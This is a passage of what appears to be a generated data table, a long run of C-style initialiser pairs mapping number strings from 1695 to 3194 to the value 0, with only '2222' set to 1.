}, { "1695", 0 }, { "1696", 0 }, { "1697", 0 }, { "1698", 0 }, { "1699", 0 }, { "1700", 0 }, { "1701", 0 }, { "1702", 0 }, { "1703", 0 }, { "1704", 0 }, { "1705", 0 }, { "1706", 0 }, { "1707", 0 }, { "1708", 0 }, { "1709", 0 }, { "1710", 0 }, { "1711", 0 }, { "1712", 0 }, { "1713", 0 }, { "1714", 0 }, { "1715", 0 }, { "1716", 0 }, { "1717", 0 }, { "1718", 0 }, { "1719", 0 }, { "1720", 0 }, { "1721", 0 }, { "1722", 0 }, { "1723", 0 }, { "1724", 0 }, { "1725", 0 }, { "1726", 0 }, { "1727", 0 }, { "1728", 0 }, { "1729", 0 }, { "1730", 0 }, { "1731", 0 }, { "1732", 0 }, { "1733", 0 }, { "1734", 0 }, { "1735", 0 }, { "1736", 0 }, { "1737", 0 }, { "1738", 0 }, { "1739", 0 }, { "1740", 0 }, { "1741", 0 }, { "1742", 0 }, { "1743", 0 }, { "1744", 0 }, { "1745", 0 }, { "1746", 0 }, { "1747", 0 }, { "1748", 0 }, { "1749", 0 }, { "1750", 0 }, { "1751", 0 }, { "1752", 0 }, { "1753", 0 }, { "1754", 0 }, { "1755", 0 }, { "1756", 0 }, { "1757", 0 }, { "1758", 0 }, { "1759", 0 }, { "1760", 0 }, { "1761", 0 }, { "1762", 0 }, { "1763", 0 }, { "1764", 0 }, { "1765", 0 }, { "1766", 0 }, { "1767", 0 }, { "1768", 0 }, { "1769", 0 }, { "1770", 0 }, { "1771", 0 }, { "1772", 0 }, { "1773", 0 }, { "1774", 0 }, { "1775", 0 }, { "1776", 0 }, { "1777", 0 }, { "1778", 0 }, { "1779", 0 }, { "1780", 0 }, { "1781", 0 }, { "1782", 0 }, { "1783", 0 }, { "1784", 0 }, { "1785", 0 }, { "1786", 0 }, { "1787", 0 }, { "1788", 0 }, { "1789", 0 }, { "1790", 0 }, { "1791", 0 }, { "1792", 0 }, { "1793", 0 }, { "1794", 0 }, { "1795", 0 }, { "1796", 0 }, { "1797", 0 }, { "1798", 0 }, { "1799", 0 }, { "1800", 0 }, { "1801", 0 }, { "1802", 0 }, { "1803", 0 }, { "1804", 0 }, { "1805", 0 }, { "1806", 0 }, { "1807", 0 }, { "1808", 0 }, { "1809", 0 }, { "1810", 0 }, { "1811", 0 }, { "1812", 0 }, { "1813", 0 }, { "1814", 0 }, { "1815", 0 }, { "1816", 0 }, { "1817", 0 }, { "1818", 0 }, { "1819", 0 }, { "1820", 0 }, { "1821", 0 }, { "1822", 0 }, { "1823", 0 }, { "1824", 0 }, { "1825", 0 }, { "1826", 0 }, { "1827", 0 }, { "1828", 0 }, { "1829", 0 }, { "1830", 0 }, { "1831", 0 }, { "1832", 0 }, { "1833", 0 }, { "1834", 0 }, { "1835", 0 }, { "1836", 0 }, { "1837", 0 }, { "1838", 0 }, { "1839", 0 }, { "1840", 0 }, { "1841", 0 }, { "1842", 0 }, { "1843", 0 }, { "1844", 0 }, { "1845", 0 }, { "1846", 0 }, { "1847", 0 }, { "1848", 0 }, { "1849", 0 }, { "1850", 0 }, { "1851", 0 }, { "1852", 0 }, { "1853", 0 }, { "1854", 0 }, { "1855", 0 }, { "1856", 0 }, { "1857", 0 }, { "1858", 0 }, { "1859", 0 }, { "1860", 0 }, { "1861", 0 }, { "1862", 0 }, { "1863", 0 }, { "1864", 0 }, { "1865", 0 }, { "1866", 0 }, { "1867", 0 }, { "1868", 0 }, { "1869", 0 }, { "1870", 0 }, { "1871", 0 }, { "1872", 0 }, { "1873", 0 }, { "1874", 0 }, { "1875", 0 }, { "1876", 0 }, { "1877", 0 }, { "1878", 0 }, { "1879", 0 }, { "1880", 0 }, { "1881", 0 }, { "1882", 0 }, { "1883", 0 }, { "1884", 0 }, { "1885", 0 }, { "1886", 0 }, { "1887", 0 }, { "1888", 0 }, { "1889", 0 }, { "1890", 0 }, { "1891", 0 }, { "1892", 0 }, { "1893", 0 }, { "1894", 0 }, { "1895", 0 }, { "1896", 0 }, { "1897", 0 }, { "1898", 0 }, { "1899", 0 }, { "1900", 0 }, { "1901", 0 }, { "1902", 0 }, { "1903", 0 }, { "1904", 0 }, { "1905", 0 }, { "1906", 0 }, { "1907", 0 }, { "1908", 0 }, { "1909", 0 }, { "1910", 0 }, { "1911", 0 }, { "1912", 0 }, { "1913", 0 }, { "1914", 0 }, { "1915", 0 }, { "1916", 0 }, { "1917", 0 }, { "1918", 0 }, { "1919", 0 }, { "1920", 0 }, { "1921", 0 }, { "1922", 0 }, { "1923", 0 }, { "1924", 0 }, { "1925", 0 }, { "1926", 0 }, { "1927", 0 }, { "1928", 0 }, { "1929", 0 }, { "1930", 0 }, { "1931", 0 }, { "1932", 0 }, { "1933", 0 }, { "1934", 0 }, { "1935", 0 }, { "1936", 0 }, { "1937", 0 }, { "1938", 0 }, { "1939", 0 }, { "1940", 0 }, { "1941", 0 }, { "1942", 0 }, { "1943", 0 }, { "1944", 0 }, { "1945", 0 }, { "1946", 0 }, { "1947", 0 }, { "1948", 0 }, { "1949", 0 }, { "1950", 0 }, { "1951", 0 }, { "1952", 0 }, { "1953", 0 }, { "1954", 0 }, { "1955", 0 }, { "1956", 0 }, { "1957", 0 }, { "1958", 0 }, { "1959", 0 }, { "1960", 0 }, { "1961", 0 }, { "1962", 0 }, { "1963", 0 }, { "1964", 0 }, { "1965", 0 }, { "1966", 0 }, { "1967", 0 }, { "1968", 0 }, { "1969", 0 }, { "1970", 0 }, { "1971", 0 }, { "1972", 0 }, { "1973", 0 }, { "1974", 0 }, { "1975", 0 }, { "1976", 0 }, { "1977", 0 }, { "1978", 0 }, { "1979", 0 }, { "1980", 0 }, { "1981", 0 }, { "1982", 0 }, { "1983", 0 }, { "1984", 0 }, { "1985", 0 }, { "1986", 0 }, { "1987", 0 }, { "1988", 0 }, { "1989", 0 }, { "1990", 0 }, { "1991", 0 }, { "1992", 0 }, { "1993", 0 }, { "1994", 0 }, { "1995", 0 }, { "1996", 0 }, { "1997", 0 }, { "1998", 0 }, { "1999", 0 }, { "2000", 0 }, { "2001", 0 }, { "2002", 0 }, { "2003", 0 }, { "2004", 0 }, { "2005", 0 }, { "2006", 0 }, { "2007", 0 }, { "2008", 0 }, { "2009", 0 }, { "2010", 0 }, { "2011", 0 }, { "2012", 0 }, { "2013", 0 }, { "2014", 0 }, { "2015", 0 }, { "2016", 0 }, { "2017", 0 }, { "2018", 0 }, { "2019", 0 }, { "2020", 0 }, { "2021", 0 }, { "2022", 0 }, { "2023", 0 }, { "2024", 0 }, { "2025", 0 }, { "2026", 0 }, { "2027", 0 }, { "2028", 0 }, { "2029", 0 }, { "2030", 0 }, { "2031", 0 }, { "2032", 0 }, { "2033", 0 }, { "2034", 0 }, { "2035", 0 }, { "2036", 0 }, { "2037", 0 }, { "2038", 0 }, { "2039", 0 }, { "2040", 0 }, { "2041", 0 }, { "2042", 0 }, { "2043", 0 }, { "2044", 0 }, { "2045", 0 }, { "2046", 0 }, { "2047", 0 }, { "2048", 0 }, { "2049", 0 }, { "2050", 0 }, { "2051", 0 }, { "2052", 0 }, { "2053", 0 }, { "2054", 0 }, { "2055", 0 }, { "2056", 0 }, { "2057", 0 }, { "2058", 0 }, { "2059", 0 }, { "2060", 0 }, { "2061", 0 }, { "2062", 0 }, { "2063", 0 }, { "2064", 0 }, { "2065", 0 }, { "2066", 0 }, { "2067", 0 }, { "2068", 0 }, { "2069", 0 }, { "2070", 0 }, { "2071", 0 }, { "2072", 0 }, { "2073", 0 }, { "2074", 0 }, { "2075", 0 }, { "2076", 0 }, { "2077", 0 }, { "2078", 0 }, { "2079", 0 }, { "2080", 0 }, { "2081", 0 }, { "2082", 0 }, { "2083", 0 }, { "2084", 0 }, { "2085", 0 }, { "2086", 0 }, { "2087", 0 }, { "2088", 0 }, { "2089", 0 }, { "2090", 0 }, { "2091", 0 }, { "2092", 0 }, { "2093", 0 }, { "2094", 0 }, { "2095", 0 }, { "2096", 0 }, { "2097", 0 }, { "2098", 0 }, { "2099", 0 }, { "2100", 0 }, { "2101", 0 }, { "2102", 0 }, { "2103", 0 }, { "2104", 0 }, { "2105", 0 }, { "2106", 0 }, { "2107", 0 }, { "2108", 0 }, { "2109", 0 }, { "2110", 0 }, { "2111", 0 }, { "2112", 0 }, { "2113", 0 }, { "2114", 0 }, { "2115", 0 }, { "2116", 0 }, { "2117", 0 }, { "2118", 0 }, { "2119", 0 }, { "2120", 0 }, { "2121", 0 }, { "2122", 0 }, { "2123", 0 }, { "2124", 0 }, { "2125", 0 }, { "2126", 0 }, { "2127", 0 }, { "2128", 0 }, { "2129", 0 }, { "2130", 0 }, { "2131", 0 }, { "2132", 0 }, { "2133", 0 }, { "2134", 0 }, { "2135", 0 }, { "2136", 0 }, { "2137", 0 }, { "2138", 0 }, { "2139", 0 }, { "2140", 0 }, { "2141", 0 }, { "2142", 0 }, { "2143", 0 }, { "2144", 0 }, { "2145", 0 }, { "2146", 0 }, { "2147", 0 }, { "2148", 0 }, { "2149", 0 }, { "2150", 0 }, { "2151", 0 }, { "2152", 0 }, { "2153", 0 }, { "2154", 0 }, { "2155", 0 }, { "2156", 0 }, { "2157", 0 }, { "2158", 0 }, { "2159", 0 }, { "2160", 0 }, { "2161", 0 }, { "2162", 0 }, { "2163", 0 }, { "2164", 0 }, { "2165", 0 }, { "2166", 0 }, { "2167", 0 }, { "2168", 0 }, { "2169", 0 }, { "2170", 0 }, { "2171", 0 }, { "2172", 0 }, { "2173", 0 }, { "2174", 0 }, { "2175", 0 }, { "2176", 0 }, { "2177", 0 }, { "2178", 0 }, { "2179", 0 }, { "2180", 0 }, { "2181", 0 }, { "2182", 0 }, { "2183", 0 }, { "2184", 0 }, { "2185", 0 }, { "2186", 0 }, { "2187", 0 }, { "2188", 0 }, { "2189", 0 }, { "2190", 0 }, { "2191", 0 }, { "2192", 0 }, { "2193", 0 }, { "2194", 0 }, { "2195", 0 }, { "2196", 0 }, { "2197", 0 }, { "2198", 0 }, { "2199", 0 }, { "2200", 0 }, { "2201", 0 }, { "2202", 0 }, { "2203", 0 }, { "2204", 0 }, { "2205", 0 }, { "2206", 0 }, { "2207", 0 }, { "2208", 0 }, { "2209", 0 }, { "2210", 0 }, { "2211", 0 }, { "2212", 0 }, { "2213", 0 }, { "2214", 0 }, { "2215", 0 }, { "2216", 0 }, { "2217", 0 }, { "2218", 0 }, { "2219", 0 }, { "2220", 0 }, { "2221", 0 }, { "2222", 1 }, { "2223", 0 }, { "2224", 0 }, { "2225", 0 }, { "2226", 0 }, { "2227", 0 }, { "2228", 0 }, { "2229", 0 }, { "2230", 0 }, { "2231", 0 }, { "2232", 0 }, { "2233", 0 }, { "2234", 0 }, { "2235", 0 }, { "2236", 0 }, { "2237", 0 }, { "2238", 0 }, { "2239", 0 }, { "2240", 0 }, { "2241", 0 }, { "2242", 0 }, { "2243", 0 }, { "2244", 0 }, { "2245", 0 }, { "2246", 0 }, { "2247", 0 }, { "2248", 0 }, { "2249", 0 }, { "2250", 0 }, { "2251", 0 }, { "2252", 0 }, { "2253", 0 }, { "2254", 0 }, { "2255", 0 }, { "2256", 0 }, { "2257", 0 }, { "2258", 0 }, { "2259", 0 }, { "2260", 0 }, { "2261", 0 }, { "2262", 0 }, { "2263", 0 }, { "2264", 0 }, { "2265", 0 }, { "2266", 0 }, { "2267", 0 }, { "2268", 0 }, { "2269", 0 }, { "2270", 0 }, { "2271", 0 }, { "2272", 0 }, { "2273", 0 }, { "2274", 0 }, { "2275", 0 }, { "2276", 0 }, { "2277", 0 }, { "2278", 0 }, { "2279", 0 }, { "2280", 0 }, { "2281", 0 }, { "2282", 0 }, { "2283", 0 }, { "2284", 0 }, { "2285", 0 }, { "2286", 0 }, { "2287", 0 }, { "2288", 0 }, { "2289", 0 }, { "2290", 0 }, { "2291", 0 }, { "2292", 0 }, { "2293", 0 }, { "2294", 0 }, { "2295", 0 }, { "2296", 0 }, { "2297", 0 }, { "2298", 0 }, { "2299", 0 }, { "2300", 0 }, { "2301", 0 }, { "2302", 0 }, { "2303", 0 }, { "2304", 0 }, { "2305", 0 }, { "2306", 0 }, { "2307", 0 }, { "2308", 0 }, { "2309", 0 }, { "2310", 0 }, { "2311", 0 }, { "2312", 0 }, { "2313", 0 }, { "2314", 0 }, { "2315", 0 }, { "2316", 0 }, { "2317", 0 }, { "2318", 0 }, { "2319", 0 }, { "2320", 0 }, { "2321", 0 }, { "2322", 0 }, { "2323", 0 }, { "2324", 0 }, { "2325", 0 }, { "2326", 0 }, { "2327", 0 }, { "2328", 0 }, { "2329", 0 }, { "2330", 0 }, { "2331", 0 }, { "2332", 0 }, { "2333", 0 }, { "2334", 0 }, { "2335", 0 }, { "2336", 0 }, { "2337", 0 }, { "2338", 0 }, { "2339", 0 }, { "2340", 0 }, { "2341", 0 }, { "2342", 0 }, { "2343", 0 }, { "2344", 0 }, { "2345", 0 }, { "2346", 0 }, { "2347", 0 }, { "2348", 0 }, { "2349", 0 }, { "2350", 0 }, { "2351", 0 }, { "2352", 0 }, { "2353", 0 }, { "2354", 0 }, { "2355", 0 }, { "2356", 0 }, { "2357", 0 }, { "2358", 0 }, { "2359", 0 }, { "2360", 0 }, { "2361", 0 }, { "2362", 0 }, { "2363", 0 }, { "2364", 0 }, { "2365", 0 }, { "2366", 0 }, { "2367", 0 }, { "2368", 0 }, { "2369", 0 }, { "2370", 0 }, { "2371", 0 }, { "2372", 0 }, { "2373", 0 }, { "2374", 0 }, { "2375", 0 }, { "2376", 0 }, { "2377", 0 }, { "2378", 0 }, { "2379", 0 }, { "2380", 0 }, { "2381", 0 }, { "2382", 0 }, { "2383", 0 }, { "2384", 0 }, { "2385", 0 }, { "2386", 0 }, { "2387", 0 }, { "2388", 0 }, { "2389", 0 }, { "2390", 0 }, { "2391", 0 }, { "2392", 0 }, { "2393", 0 }, { "2394", 0 }, { "2395", 0 }, { "2396", 0 }, { "2397", 0 }, { "2398", 0 }, { "2399", 0 }, { "2400", 0 }, { "2401", 0 }, { "2402", 0 }, { "2403", 0 }, { "2404", 0 }, { "2405", 0 }, { "2406", 0 }, { "2407", 0 }, { "2408", 0 }, { "2409", 0 }, { "2410", 0 }, { "2411", 0 }, { "2412", 0 }, { "2413", 0 }, { "2414", 0 }, { "2415", 0 }, { "2416", 0 }, { "2417", 0 }, { "2418", 0 }, { "2419", 0 }, { "2420", 0 }, { "2421", 0 }, { "2422", 0 }, { "2423", 0 }, { "2424", 0 }, { "2425", 0 }, { "2426", 0 }, { "2427", 0 }, { "2428", 0 }, { "2429", 0 }, { "2430", 0 }, { "2431", 0 }, { "2432", 0 }, { "2433", 0 }, { "2434", 0 }, { "2435", 0 }, { "2436", 0 }, { "2437", 0 }, { "2438", 0 }, { "2439", 0 }, { "2440", 0 }, { "2441", 0 }, { "2442", 0 }, { "2443", 0 }, { "2444", 0 }, { "2445", 0 }, { "2446", 0 }, { "2447", 0 }, { "2448", 0 }, { "2449", 0 }, { "2450", 0 }, { "2451", 0 }, { "2452", 0 }, { "2453", 0 }, { "2454", 0 }, { "2455", 0 }, { "2456", 0 }, { "2457", 0 }, { "2458", 0 }, { "2459", 0 }, { "2460", 0 }, { "2461", 0 }, { "2462", 0 }, { "2463", 0 }, { "2464", 0 }, { "2465", 0 }, { "2466", 0 }, { "2467", 0 }, { "2468", 0 }, { "2469", 0 }, { "2470", 0 }, { "2471", 0 }, { "2472", 0 }, { "2473", 0 }, { "2474", 0 }, { "2475", 0 }, { "2476", 0 }, { "2477", 0 }, { "2478", 0 }, { "2479", 0 }, { "2480", 0 }, { "2481", 0 }, { "2482", 0 }, { "2483", 0 }, { "2484", 0 }, { "2485", 0 }, { "2486", 0 }, { "2487", 0 }, { "2488", 0 }, { "2489", 0 }, { "2490", 0 }, { "2491", 0 }, { "2492", 0 }, { "2493", 0 }, { "2494", 0 }, { "2495", 0 }, { "2496", 0 }, { "2497", 0 }, { "2498", 0 }, { "2499", 0 }, { "2500", 0 }, { "2501", 0 }, { "2502", 0 }, { "2503", 0 }, { "2504", 0 }, { "2505", 0 }, { "2506", 0 }, { "2507", 0 }, { "2508", 0 }, { "2509", 0 }, { "2510", 0 }, { "2511", 0 }, { "2512", 0 }, { "2513", 0 }, { "2514", 0 }, { "2515", 0 }, { "2516", 0 }, { "2517", 0 }, { "2518", 0 }, { "2519", 0 }, { "2520", 0 }, { "2521", 0 }, { "2522", 0 }, { "2523", 0 }, { "2524", 0 }, { "2525", 0 }, { "2526", 0 }, { "2527", 0 }, { "2528", 0 }, { "2529", 0 }, { "2530", 0 }, { "2531", 0 }, { "2532", 0 }, { "2533", 0 }, { "2534", 0 }, { "2535", 0 }, { "2536", 0 }, { "2537", 0 }, { "2538", 0 }, { "2539", 0 }, { "2540", 0 }, { "2541", 0 }, { "2542", 0 }, { "2543", 0 }, { "2544", 0 }, { "2545", 0 }, { "2546", 0 }, { "2547", 0 }, { "2548", 0 }, { "2549", 0 }, { "2550", 0 }, { "2551", 0 }, { "2552", 0 }, { "2553", 0 }, { "2554", 0 }, { "2555", 0 }, { "2556", 0 }, { "2557", 0 }, { "2558", 0 }, { "2559", 0 }, { "2560", 0 }, { "2561", 0 }, { "2562", 0 }, { "2563", 0 }, { "2564", 0 }, { "2565", 0 }, { "2566", 0 }, { "2567", 0 }, { "2568", 0 }, { "2569", 0 }, { "2570", 0 }, { "2571", 0 }, { "2572", 0 }, { "2573", 0 }, { "2574", 0 }, { "2575", 0 }, { "2576", 0 }, { "2577", 0 }, { "2578", 0 }, { "2579", 0 }, { "2580", 0 }, { "2581", 0 }, { "2582", 0 }, { "2583", 0 }, { "2584", 0 }, { "2585", 0 }, { "2586", 0 }, { "2587", 0 }, { "2588", 0 }, { "2589", 0 }, { "2590", 0 }, { "2591", 0 }, { "2592", 0 }, { "2593", 0 }, { "2594", 0 }, { "2595", 0 }, { "2596", 0 }, { "2597", 0 }, { "2598", 0 }, { "2599", 0 }, { "2600", 0 }, { "2601", 0 }, { "2602", 0 }, { "2603", 0 }, { "2604", 0 }, { "2605", 0 }, { "2606", 0 }, { "2607", 0 }, { "2608", 0 }, { "2609", 0 }, { "2610", 0 }, { "2611", 0 }, { "2612", 0 }, { "2613", 0 }, { "2614", 0 }, { "2615", 0 }, { "2616", 0 }, { "2617", 0 }, { "2618", 0 }, { "2619", 0 }, { "2620", 0 }, { "2621", 0 }, { "2622", 0 }, { "2623", 0 }, { "2624", 0 }, { "2625", 0 }, { "2626", 0 }, { "2627", 0 }, { "2628", 0 }, { "2629", 0 }, { "2630", 0 }, { "2631", 0 }, { "2632", 0 }, { "2633", 0 }, { "2634", 0 }, { "2635", 0 }, { "2636", 0 }, { "2637", 0 }, { "2638", 0 }, { "2639", 0 }, { "2640", 0 }, { "2641", 0 }, { "2642", 0 }, { "2643", 0 }, { "2644", 0 }, { "2645", 0 }, { "2646", 0 }, { "2647", 0 }, { "2648", 0 }, { "2649", 0 }, { "2650", 0 }, { "2651", 0 }, { "2652", 0 }, { "2653", 0 }, { "2654", 0 }, { "2655", 0 }, { "2656", 0 }, { "2657", 0 }, { "2658", 0 }, { "2659", 0 }, { "2660", 0 }, { "2661", 0 }, { "2662", 0 }, { "2663", 0 }, { "2664", 0 }, { "2665", 0 }, { "2666", 0 }, { "2667", 0 }, { "2668", 0 }, { "2669", 0 }, { "2670", 0 }, { "2671", 0 }, { "2672", 0 }, { "2673", 0 }, { "2674", 0 }, { "2675", 0 }, { "2676", 0 }, { "2677", 0 }, { "2678", 0 }, { "2679", 0 }, { "2680", 0 }, { "2681", 0 }, { "2682", 0 }, { "2683", 0 }, { "2684", 0 }, { "2685", 0 }, { "2686", 0 }, { "2687", 0 }, { "2688", 0 }, { "2689", 0 }, { "2690", 0 }, { "2691", 0 }, { "2692", 0 }, { "2693", 0 }, { "2694", 0 }, { "2695", 0 }, { "2696", 0 }, { "2697", 0 }, { "2698", 0 }, { "2699", 0 }, { "2700", 0 }, { "2701", 0 }, { "2702", 0 }, { "2703", 0 }, { "2704", 0 }, { "2705", 0 }, { "2706", 0 }, { "2707", 0 }, { "2708", 0 }, { "2709", 0 }, { "2710", 0 }, { "2711", 0 }, { "2712", 0 }, { "2713", 0 }, { "2714", 0 }, { "2715", 0 }, { "2716", 0 }, { "2717", 0 }, { "2718", 0 }, { "2719", 0 }, { "2720", 0 }, { "2721", 0 }, { "2722", 0 }, { "2723", 0 }, { "2724", 0 }, { "2725", 0 }, { "2726", 0 }, { "2727", 0 }, { "2728", 0 }, { "2729", 0 }, { "2730", 0 }, { "2731", 0 }, { "2732", 0 }, { "2733", 0 }, { "2734", 0 }, { "2735", 0 }, { "2736", 0 }, { "2737", 0 }, { "2738", 0 }, { "2739", 0 }, { "2740", 0 }, { "2741", 0 }, { "2742", 0 }, { "2743", 0 }, { "2744", 0 }, { "2745", 0 }, { "2746", 0 }, { "2747", 0 }, { "2748", 0 }, { "2749", 0 }, { "2750", 0 }, { "2751", 0 }, { "2752", 0 }, { "2753", 0 }, { "2754", 0 }, { "2755", 0 }, { "2756", 0 }, { "2757", 0 }, { "2758", 0 }, { "2759", 0 }, { "2760", 0 }, { "2761", 0 }, { "2762", 0 }, { "2763", 0 }, { "2764", 0 }, { "2765", 0 }, { "2766", 0 }, { "2767", 0 }, { "2768", 0 }, { "2769", 0 }, { "2770", 0 }, { "2771", 0 }, { "2772", 0 }, { "2773", 0 }, { "2774", 0 }, { "2775", 0 }, { "2776", 0 }, { "2777", 0 }, { "2778", 0 }, { "2779", 0 }, { "2780", 0 }, { "2781", 0 }, { "2782", 0 }, { "2783", 0 }, { "2784", 0 }, { "2785", 0 }, { "2786", 0 }, { "2787", 0 }, { "2788", 0 }, { "2789", 0 }, { "2790", 0 }, { "2791", 0 }, { "2792", 0 }, { "2793", 0 }, { "2794", 0 }, { "2795", 0 }, { "2796", 0 }, { "2797", 0 }, { "2798", 0 }, { "2799", 0 }, { "2800", 0 }, { "2801", 0 }, { "2802", 0 }, { "2803", 0 }, { "2804", 0 }, { "2805", 0 }, { "2806", 0 }, { "2807", 0 }, { "2808", 0 }, { "2809", 0 }, { "2810", 0 }, { "2811", 0 }, { "2812", 0 }, { "2813", 0 }, { "2814", 0 }, { "2815", 0 }, { "2816", 0 }, { "2817", 0 }, { "2818", 0 }, { "2819", 0 }, { "2820", 0 }, { "2821", 0 }, { "2822", 0 }, { "2823", 0 }, { "2824", 0 }, { "2825", 0 }, { "2826", 0 }, { "2827", 0 }, { "2828", 0 }, { "2829", 0 }, { "2830", 0 }, { "2831", 0 }, { "2832", 0 }, { "2833", 0 }, { "2834", 0 }, { "2835", 0 }, { "2836", 0 }, { "2837", 0 }, { "2838", 0 }, { "2839", 0 }, { "2840", 0 }, { "2841", 0 }, { "2842", 0 }, { "2843", 0 }, { "2844", 0 }, { "2845", 0 }, { "2846", 0 }, { "2847", 0 }, { "2848", 0 }, { "2849", 0 }, { "2850", 0 }, { "2851", 0 }, { "2852", 0 }, { "2853", 0 }, { "2854", 0 }, { "2855", 0 }, { "2856", 0 }, { "2857", 0 }, { "2858", 0 }, { "2859", 0 }, { "2860", 0 }, { "2861", 0 }, { "2862", 0 }, { "2863", 0 }, { "2864", 0 }, { "2865", 0 }, { "2866", 0 }, { "2867", 0 }, { "2868", 0 }, { "2869", 0 }, { "2870", 0 }, { "2871", 0 }, { "2872", 0 }, { "2873", 0 }, { "2874", 0 }, { "2875", 0 }, { "2876", 0 }, { "2877", 0 }, { "2878", 0 }, { "2879", 0 }, { "2880", 0 }, { "2881", 0 }, { "2882", 0 }, { "2883", 0 }, { "2884", 0 }, { "2885", 0 }, { "2886", 0 }, { "2887", 0 }, { "2888", 0 }, { "2889", 0 }, { "2890", 0 }, { "2891", 0 }, { "2892", 0 }, { "2893", 0 }, { "2894", 0 }, { "2895", 0 }, { "2896", 0 }, { "2897", 0 }, { "2898", 0 }, { "2899", 0 }, { "2900", 0 }, { "2901", 0 }, { "2902", 0 }, { "2903", 0 }, { "2904", 0 }, { "2905", 0 }, { "2906", 0 }, { "2907", 0 }, { "2908", 0 }, { "2909", 0 }, { "2910", 0 }, { "2911", 0 }, { "2912", 0 }, { "2913", 0 }, { "2914", 0 }, { "2915", 0 }, { "2916", 0 }, { "2917", 0 }, { "2918", 0 }, { "2919", 0 }, { "2920", 0 }, { "2921", 0 }, { "2922", 0 }, { "2923", 0 }, { "2924", 0 }, { "2925", 0 }, { "2926", 0 }, { "2927", 0 }, { "2928", 0 }, { "2929", 0 }, { "2930", 0 }, { "2931", 0 }, { "2932", 0 }, { "2933", 0 }, { "2934", 0 }, { "2935", 0 }, { "2936", 0 }, { "2937", 0 }, { "2938", 0 }, { "2939", 0 }, { "2940", 0 }, { "2941", 0 }, { "2942", 0 }, { "2943", 0 }, { "2944", 0 }, { "2945", 0 }, { "2946", 0 }, { "2947", 0 }, { "2948", 0 }, { "2949", 0 }, { "2950", 0 }, { "2951", 0 }, { "2952", 0 }, { "2953", 0 }, { "2954", 0 }, { "2955", 0 }, { "2956", 0 }, { "2957", 0 }, { "2958", 0 }, { "2959", 0 }, { "2960", 0 }, { "2961", 0 }, { "2962", 0 }, { "2963", 0 }, { "2964", 0 }, { "2965", 0 }, { "2966", 0 }, { "2967", 0 }, { "2968", 0 }, { "2969", 0 }, { "2970", 0 }, { "2971", 0 }, { "2972", 0 }, { "2973", 0 }, { "2974", 0 }, { "2975", 0 }, { "2976", 0 }, { "2977", 0 }, { "2978", 0 }, { "2979", 0 }, { "2980", 0 }, { "2981", 0 }, { "2982", 0 }, { "2983", 0 }, { "2984", 0 }, { "2985", 0 }, { "2986", 0 }, { "2987", 0 }, { "2988", 0 }, { "2989", 0 }, { "2990", 0 }, { "2991", 0 }, { "2992", 0 }, { "2993", 0 }, { "2994", 0 }, { "2995", 0 }, { "2996", 0 }, { "2997", 0 }, { "2998", 0 }, { "2999", 0 }, { "3000", 0 }, { "3001", 0 }, { "3002", 0 }, { "3003", 0 }, { "3004", 0 }, { "3005", 0 }, { "3006", 0 }, { "3007", 0 }, { "3008", 0 }, { "3009", 0 }, { "3010", 0 }, { "3011", 0 }, { "3012", 0 }, { "3013", 0 }, { "3014", 0 }, { "3015", 0 }, { "3016", 0 }, { "3017", 0 }, { "3018", 0 }, { "3019", 0 }, { "3020", 0 }, { "3021", 0 }, { "3022", 0 }, { "3023", 0 }, { "3024", 0 }, { "3025", 0 }, { "3026", 0 }, { "3027", 0 }, { "3028", 0 }, { "3029", 0 }, { "3030", 0 }, { "3031", 0 }, { "3032", 0 }, { "3033", 0 }, { "3034", 0 }, { "3035", 0 }, { "3036", 0 }, { "3037", 0 }, { "3038", 0 }, { "3039", 0 }, { "3040", 0 }, { "3041", 0 }, { "3042", 0 }, { "3043", 0 }, { "3044", 0 }, { "3045", 0 }, { "3046", 0 }, { "3047", 0 }, { "3048", 0 }, { "3049", 0 }, { "3050", 0 }, { "3051", 0 }, { "3052", 0 }, { "3053", 0 }, { "3054", 0 }, { "3055", 0 }, { "3056", 0 }, { "3057", 0 }, { "3058", 0 }, { "3059", 0 }, { "3060", 0 }, { "3061", 0 }, { "3062", 0 }, { "3063", 0 }, { "3064", 0 }, { "3065", 0 }, { "3066", 0 }, { "3067", 0 }, { "3068", 0 }, { "3069", 0 }, { "3070", 0 }, { "3071", 0 }, { "3072", 0 }, { "3073", 0 }, { "3074", 0 }, { "3075", 0 }, { "3076", 0 }, { "3077", 0 }, { "3078", 0 }, { "3079", 0 }, { "3080", 0 }, { "3081", 0 }, { "3082", 0 }, { "3083", 0 }, { "3084", 0 }, { "3085", 0 }, { "3086", 0 }, { "3087", 0 }, { "3088", 0 }, { "3089", 0 }, { "3090", 0 }, { "3091", 0 }, { "3092", 0 }, { "3093", 0 }, { "3094", 0 }, { "3095", 0 }, { "3096", 0 }, { "3097", 0 }, { "3098", 0 }, { "3099", 0 }, { "3100", 0 }, { "3101", 0 }, { "3102", 0 }, { "3103", 0 }, { "3104", 0 }, { "3105", 0 }, { "3106", 0 }, { "3107", 0 }, { "3108", 0 }, { "3109", 0 }, { "3110", 0 }, { "3111", 0 }, { "3112", 0 }, { "3113", 0 }, { "3114", 0 }, { "3115", 0 }, { "3116", 0 }, { "3117", 0 }, { "3118", 0 }, { "3119", 0 }, { "3120", 0 }, { "3121", 0 }, { "3122", 0 }, { "3123", 0 }, { "3124", 0 }, { "3125", 0 }, { "3126", 0 }, { "3127", 0 }, { "3128", 0 }, { "3129", 0 }, { "3130", 0 }, { "3131", 0 }, { "3132", 0 }, { "3133", 0 }, { "3134", 0 }, { "3135", 0 }, { "3136", 0 }, { "3137", 0 }, { "3138", 0 }, { "3139", 0 }, { "3140", 0 }, { "3141", 0 }, { "3142", 0 }, { "3143", 0 }, { "3144", 0 }, { "3145", 0 }, { "3146", 0 }, { "3147", 0 }, { "3148", 0 }, { "3149", 0 }, { "3150", 0 }, { "3151", 0 }, { "3152", 0 }, { "3153", 0 }, { "3154", 0 }, { "3155", 0 }, { "3156", 0 }, { "3157", 0 }, { "3158", 0 }, { "3159", 0 }, { "3160", 0 }, { "3161", 0 }, { "3162", 0 }, { "3163", 0 }, { "3164", 0 }, { "3165", 0 }, { "3166", 0 }, { "3167", 0 }, { "3168", 0 }, { "3169", 0 }, { "3170", 0 }, { "3171", 0 }, { "3172", 0 }, { "3173", 0 }, { "3174", 0 }, { "3175", 0 }, { "3176", 0 }, { "3177", 0 }, { "3178", 0 }, { "3179", 0 }, { "3180", 0 }, { "3181", 0 }, { "3182", 0 }, { "3183", 0 }, { "3184", 0 }, { "3185", 0 }, { "3186", 0 }, { "3187", 0 }, { "3188", 0 }, { "3189", 0 }, { "3190", 0 }, { "3191", 0 }, { "3192", 0 }, { "3193", 0 }, { "3194", 0 